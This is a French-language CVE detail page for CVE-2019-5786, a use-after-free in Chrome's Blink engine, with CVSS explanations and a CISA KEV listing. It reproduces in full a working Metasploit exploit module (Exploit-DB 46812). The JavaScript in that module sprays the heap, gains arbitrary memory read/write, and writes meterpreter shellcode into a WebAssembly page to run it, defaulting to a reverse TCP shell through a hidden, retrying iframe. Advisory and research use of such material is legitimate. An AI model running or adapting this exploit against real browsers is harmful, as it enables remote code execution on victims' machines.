CVE-2019-5786 : Détail

CVE-2019-5786

6.5
/
Moyen
Memory Corruption
90.78%V4
Network
2019-06-27
16h13 +00:00
2025-02-11
14h50 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Object lifetime issue in Blink in Google Chrome prior to 72.0.3626.121 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Google Chrome Blink Use-After-Free Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-05-22 22h00 +00:00

Action attendue : 2022-06-12 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 46812

Date de publication : 2019-05-07 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Chrome 72.0.3626.119 FileReader UaF exploit for Windows 7 x86', 'Description' => %q{ This exploit takes advantage of a use after free vulnerability in Google Chrome 72.0.3626.119 running on Windows 7 x86. The FileReader.readAsArrayBuffer function can return multiple references to the same ArrayBuffer object, which can be freed and overwritten with sprayed objects. The dangling ArrayBuffer reference can be used to access the sprayed objects, allowing arbitrary memory access from Javascript. This is used to write and execute shellcode in a WebAssembly object. The shellcode is executed within the Chrome sandbox, so you must explicitly disable the sandbox for the payload to be successful. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clement Lecigne', # discovery 'István Kurucsai', # Exodus Intel 'timwr', # metasploit module ], 'References' => [ ['CVE', '2019-5786'], ['URL', 'https://github.com/exodusintel/CVE-2019-5786'], ['URL', 'https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/'], ['URL', 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/'], ['URL', 'https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html'], ], 'Arch' => [ ARCH_X86 ], 'Platform' => 'windows', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Mar 21 2019')) end def on_request_uri(cli, request) print_status("Sending #{request.uri}") if request.uri =~ %r{/exploit.html$} html = %Q^ <html> <head> <script> let myWorker = new Worker('worker.js'); let reader = null; spray = null; // nested arrays used to hold the sprayed heap contents let onprogress_cnt = 0; // number of times onprogress was called in a round let try_cnt = 0; // number of rounds we tried let last = 0, lastlast = 0; // last two AB results from the read let tarray = 0; // TypedArray constructed from the dangling ArrayBuffer const string_size = 128 * 1024 * 1024; let contents = String.prototype.repeat.call('Z', string_size); let f = new File([contents], "text.txt"); const marker1 = 0x36313233; const marker2 = 0x37414546; const outers = 256; const inners = 1024; function allocate_spray_holders() { spray = new Array(outers); for (let i = 0; i < outers; i++) { spray[i] = new Array(inners); } } function clear_spray() { for (let i = 0; i < outers; i++) { for (let j = 0; j < inners; j++) { spray[i][j] = null; } } } function reclaim_mixed() { // spray the heap to reclaim the freed region let tmp = {}; for (let i = 0; i < outers; i++) { for (let j = 0; j + 2 < inners; j+=3) { spray[i][j] = {a: marker1, b: marker2, c: tmp}; spray[i][j].c = spray[i][j] // self-reference to find our absolute address spray[i][j+1] = new Array(8); spray[i][j+2] = new Uint32Array(32); } } } function find_pattern() { const start_offset = 0x00afc000 / 4; for (let i = start_offset; i + 1 < string_size / 4; i++) { if (i < 50){ console.log(tarray[i].toString(16)); } // multiply by two because of the way SMIs are stored if (tarray[i] == marker1 * 2) { if (tarray[i+1] == marker2 * 2) { console.log(`found possible candidate objectat idx ${i}`); return i; } } } return null; } function get_obj_idx(prop_idx) { // find the index of the Object in the spray array tarray[prop_idx] = 0x62626262; for (let i = 0; i < outers; i++) { for (let j = 0; j < inners; j+=1) { try { if (spray[i][j].a == 0x31313131) { console.log(`found object idx in the spray array: ${i} ${j}`); return spray[i][j]; } } catch (e) {} } } } function ta_read(addr) { // reads an absolute address through the original freed region // only works for ta_absolute_addr + string_size (128MiB) if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) { return tarray[(addr-ta_absolute_addr)/4]; } return 0; } function ta_write(addr, value) { // wrtie to an absolute address through the original freed region // only works for ta_absolute_addr + string_size (128MiB) if (addr % 4 || value > 2**32 - 1 || addr < ta_absolute_addr || addr > ta_absolute_addr + string_size) { console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`); } tarray[(addr-ta_absolute_addr)/4] = value; } function get_corruptable_ui32a() { // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region for (let i = 0; i < outers; i++) { for (let j = 0; j + 2 < inners; j+=3) { let ui32a_addr = addrof(spray[i][j+2]) - 1; let bs_addr = ta_read(ui32a_addr + 12) - 1; let elements_addr = ta_read(ui32a_addr + 8) - 1; // read its elements pointer // if the elements ptr lies inside the region we have access to if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size && elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) { console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`); return { bs_addr: bs_addr, elements_addr: elements_addr, ui32: spray[i][j+2], i: i, j: j } } } } } var reader_obj = null; var object_prop_taidx = null; var ta_absolute_addr = null; var aarw_ui32 = null; function addrof(leaked_obj) { reader_obj.a = leaked_obj; return tarray[object_prop_taidx]; } function read4(addr) { // save the old values let tmp1 = ta_read(aarw_ui32.elements_addr + 12); let tmp2 = ta_read(aarw_ui32.bs_addr + 16); // rewrite the backing store ptr ta_write(aarw_ui32.elements_addr + 12, addr); ta_write(aarw_ui32.bs_addr + 16, addr); let val = aarw_ui32.ui32[0]; ta_write(aarw_ui32.elements_addr + 12, tmp1); ta_write(aarw_ui32.bs_addr + 16, tmp2); return val; } function write4(addr, val) { // save the old values let tmp1 = ta_read(aarw_ui32.elements_addr + 12); let tmp2 = ta_read(aarw_ui32.bs_addr + 16); // rewrite the backing store ptr ta_write(aarw_ui32.elements_addr + 12, addr); ta_write(aarw_ui32.bs_addr + 16, addr); aarw_ui32.ui32[0] = val; ta_write(aarw_ui32.elements_addr + 12, tmp1); ta_write(aarw_ui32.bs_addr + 16, tmp2); } function get_rw() { // free up as much memory as possible // spray = null; // contents = null; force_gc(); // attepmt reclaiming the memory pointed to by dangling pointer reclaim_mixed(); // access the reclaimed region as a Uint32Array tarray = new Uint32Array(lastlast); object_prop_taidx = find_pattern(); if (object_prop_taidx === null) { console.log('ERROR> failed to find marker'); window.top.postMessage(`ERROR> failed to find marker`, '*'); return; } // leak the absolute address of the Object const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1; // the third property of the sprayed Object is self-referential ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4 console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`); console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`); reader_obj = get_obj_idx(object_prop_taidx); if (reader_obj == undefined) { console.log(`ERROR> failed to find object`); window.top.postMessage(`ERROR> failed to find object`, '*'); return; } // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of tarray console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`); aarw_ui32 = get_corruptable_ui32a(); // arbitrary read write up after this point } var wfunc = null; let meterpreter = unescape("#{Rex::Text.to_unescape(payload.encoded)}"); function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => console.log(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); wfunc = wasm_func; // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func) - 1; let sfi = read4(wasm_func_addr + 12) - 1; let WasmExportedFunctionData = read4(sfi + 4) - 1; let instance = read4(WasmExportedFunctionData + 8) - 1; let rwx_addr = read4(instance + 0x74); // write the shellcode to the RWX page if (meterpreter.length % 2 != 0) meterpreter += "\\u9090"; for (let i = 0; i < meterpreter.length; i += 2) { write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000); } // if we got to this point, the exploit was successful window.top.postMessage('SUCCESS', '*'); console.log('success'); wfunc(); // invoke the shellcode //window.setTimeout(wfunc, 1000); } function force_gc() { // forces a garbage collection to avoid OOM kills try { var failure = new WebAssembly.Memory({initial: 32767}); } catch(e) { // console.log(e.message); } } function init() { abs = []; tarray = 0; onprogress_cnt = 0; try_cnt = 0; last = 0, lastlast = 0; reader = new FileReader(); reader.onloadend = function(evt) { try_cnt += 1; failure = false; if (onprogress_cnt < 2) { console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`); failure = true; } if (lastlast.byteLength != f.size) { console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`); failure = true; } if (failure === true) { console.log('retrying in 1 second'); window.setTimeout(exploit, 1); return; } console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`); try { // trigger the FREE myWorker.postMessage([last], [last, lastlast]); } catch(e) { // an exception with this message indicates that the FREE part of the exploit was successful if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) { get_rw(); rce(); return; } else { console.log(e.message); } } } reader.onprogress = function(evt) { force_gc(); let res = evt.target.result; // console.log(`onprogress ${onprogress_cnt}`); onprogress_cnt += 1; if (res.byteLength != f.size) { // console.log(`result has a different size than expected: ${res.byteLength}`); return; } lastlast = last; last = res; } if (spray === null) { // allocate the spray holders if needed allocate_spray_holders(); } // clear the spray holder arrays clear_spray(); // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit try { let failure = new ArrayBuffer(1024 * 1024 * 1024); } catch (e) { console.log(e.message); } force_gc(); } function exploit() { init(); reader.readAsArrayBuffer(f); console.log(`attempt ${try_cnt} started`); } </script> </head> <body onload="exploit()"> </body> </html> ^ send_response(cli, html) elsif request.uri =~ %r{/worker.js$} send_response(cli, 'onmessage = function (msg) { }') else uripath = datastore['URIPATH'] || get_resource uripath += '/' unless uripath.end_with? '/' html = %Q^ <html> <head> <script> function iter() { let iframe = null; try { iframe = document.getElementById('myframe'); document.body.removeChild(iframe); } catch (e) {} iframe = document.createElement('iframe'); iframe.src = '#{uripath}exploit.html'; iframe.id = 'myframe'; iframe.style = "width:0; height:0; border:0; border:none; visibility=hidden" document.body.appendChild(iframe); console.log(document.getElementById('myframe')); } function brute() { window.setTimeout(iter, 1000); let interval = window.setInterval(iter, 15000); window.onmessage = function(e) { if (e.data.includes('SUCCESS')) { console.log('exploit successful!'); window.clearInterval(interval); } console.log(e); } } </script> </head> <body onload="brute()"></body> </html> ^ send_response(cli, html) end end end

Products Mentioned

Configuraton 0

Google>>Chrome >> Version To (excluding) 72.0.3626.121

Références

https://crbug.com/936448
Tags : x_refsource_MISC